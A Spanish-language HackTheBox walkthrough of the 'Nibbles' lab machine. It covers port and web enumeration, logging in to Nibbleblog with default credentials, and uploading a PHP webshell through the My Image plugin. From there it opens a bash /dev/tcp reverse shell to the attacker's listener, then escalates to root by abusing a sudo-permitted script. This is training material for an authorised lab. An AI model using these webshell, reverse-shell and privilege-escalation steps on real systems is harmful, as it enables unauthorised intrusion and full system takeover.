HTB Nibbles

¡Hola! En esta ocasión vamos a resolver de la máquina nibbles de HackTheBox. La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre nibbles y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

mkhack nibbles
cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

osping 10.10.10.75

[*] Detectando sistema operativo ...

[+] 10.10.10.75 ttl=63 >> Linux

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.75 -oG ports | grep open
22/tcp open  ssh
80/tcp open  http

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

nmap -p22,80 -sCV 10.10.10.75 -oN versions
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

RECONOCIMIENTO WEB

Iniciamos con el reconocimiento del puerto 80 por medio de la utilidad whatweb para identificar software que sea potencialmente vulnerable o de utilidad para nosotros.

whatweb 10.10.10.75
http://10.10.10.75 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.75]

Inspeccionando las peticiones con la utilidad curl podemos ver un comentario que presume una ruta oculta denominada /nibbleblog.

curl -s http://10.10.10.75/
<b>Hello world!</b>



<!-- /nibbleblog/ directory. Nothing interesting here! -->

Poco podemos utilizar de la información obtenida, así que vamos a realizar fuzzing por medio de dirsearch, esta vez para encontrar rutas con posible contenido que pueda ser útil.

dirsearch -x 404,403,301 -t 200 -f -u http://10.10.10.75/nibbleblog/
[00:06:59] 200 -    1KB - /nibbleblog/admin.php
[00:06:59] 200 -    2KB - /nibbleblog/admin/
[00:07:29] 200 -    1KB - /nibbleblog/content/
[00:07:52] 200 -    3KB - /nibbleblog/languages/
[00:08:09] 200 -    4KB - /nibbleblog/plugins/
[00:08:23] 200 -    2KB - /nibbleblog/themes/

Al revisar los directorios, podemos identificar un potencial usuario admin, el cual puede ser de utilidad en el momento de acceder con credenciales a un portal.

También logramos detectar la versión de nibbleblog almacenado en un screenshot en lo recursos de la máquina.

Realizamos la búsqueda de posibles exploits públicos existentes para la versión 4 de nibbleblog, obteniendo éxito en sus resultados.

searchsploit nibble 4
--------------------------------------------- ---------------------------------
 Exploit Title                               |  Path
--------------------------------------------- ---------------------------------
Nibbleblog 4.0.3 - Arbitrary File Upload (Me | php/remote/38489.rb
--------------------------------------------- ---------------------------------

Luego de entender un poco más el script, su función se basa en el plugin my_image que permite la subida de archivos, sin embargo, requerimos de un acceso al portal, por lo que accedemos a la ruta http://10.10.10.75/nibbleblog/admin.php.

En el login se realizaron pruebas de fuerza bruta, pero esto ocasionó un bloqueo por la cantidad de intentos realizados, así que en esta máquina recomiendo que intenten realizar intentos manuales con credenciales por defecto o asociadas a la máquina.

Las credenciales de acceso son admin:nibbles

NOTA: El usuario admin lo obtuvimos de la enumeración web

Ahora que tenemos acceso a las opciones del servidor, vamos a acceder a la carpeta plugins y configuramos el plugin My image.

Vamos a proceder con la intrusión intentando subir una serie de archivos que permitan obtener una shell reversa e interactiva en nuestra máquina, para esto accedemos a nuestra carpeta exploit.

cd ../exploit

INTRUSION WEBSHELL PHP + REVERSE SHELL BASH

Creamos un archivo webshell.php y generamos un código para lograr una shell a nivel web en el servidor afectado.

vim webshell.php
<?php
        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Subimos el archivo en el plugin My image y hacemos una prueba ejecutando un comando de reconocimiento.

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=whoami

Obteniendo una prueba exitosa, procedemos a activar un listener.

nc -lnvp 4564

Generamos una reverse shell en bash con la siguiente petición web.

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.6/4564 0>%261"

INTRUSION REVERSE SHELL PHP

Otra manera de realizar una intrusión es directamente con una reverse shell en php, para esto vamos a localizar y copiar una reverse shell en los recursos de nuestra máquina.

locate php-reverse-shell
cp /usr/share/webshells/php/php-reverse-shell.php .

Procedemos a modificar la reverse shell con nuestra IP y puerto que vamos a utilizar para generar la conexión con nuestra máquina.

vim php-reverse-shell.php
#MODIFICAR LINEAS 49 Y 50
$ip = '10.10.14.6';  // CHANGE THIS         
$port = 4564;       // CHANGE THIS

Subimos el archivo en el plugin My image.

Procedemos a activar un listener.

nc -lnvp 4564

Consultamos el recurso en la siguiente URL.

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php

ESCALADA DE PRIVILEGIOS

Una vez que tenemos acceso a la máquina, realizamos el escalamiento de privilegios, en este caso, revisando los permisos a nivel de sudo.

nibbler@Nibbles:/$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Se identifica que es posible ejecutar el comando /home/nibbler/personal/stuff/monitor.sh con privilegios, así que vamos a ir a la ruta /home/nibbler y creamos las carpetas personal y stuff, debido a que no existen actualmente.

cd /home/nibbler/
mkdir -p personal/stuff
cd !$

Ingresamos a la ruta /home/nibbler/personal/stuff y creamos el script monitor.sh con el siguiente contenido.

nano monitor.sh
#!/bin/bash
bash

Asignamos permisos de ejecución.

chmod +x monitor.sh

Ejecutamos el comando y finalmente obtenemos acceso al sistema con un usuario privilegiado.

sudo /home/nibbler/personal/stuff/monitor.sh
whoami
root

FLAGS

Una vez tenemos acceso a la máquina, tenemos la posibilidad de leer la flag user y root

#USER
find / -name user.txt 2>/dev/null | xargs head -c 10; echo
eb6f5526f2
#ROOT
find / -name root.txt 2>/dev/null | xargs head -c 10; echo
8ea802495e

¡Hemos logrado completar la máquina nibbles de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit..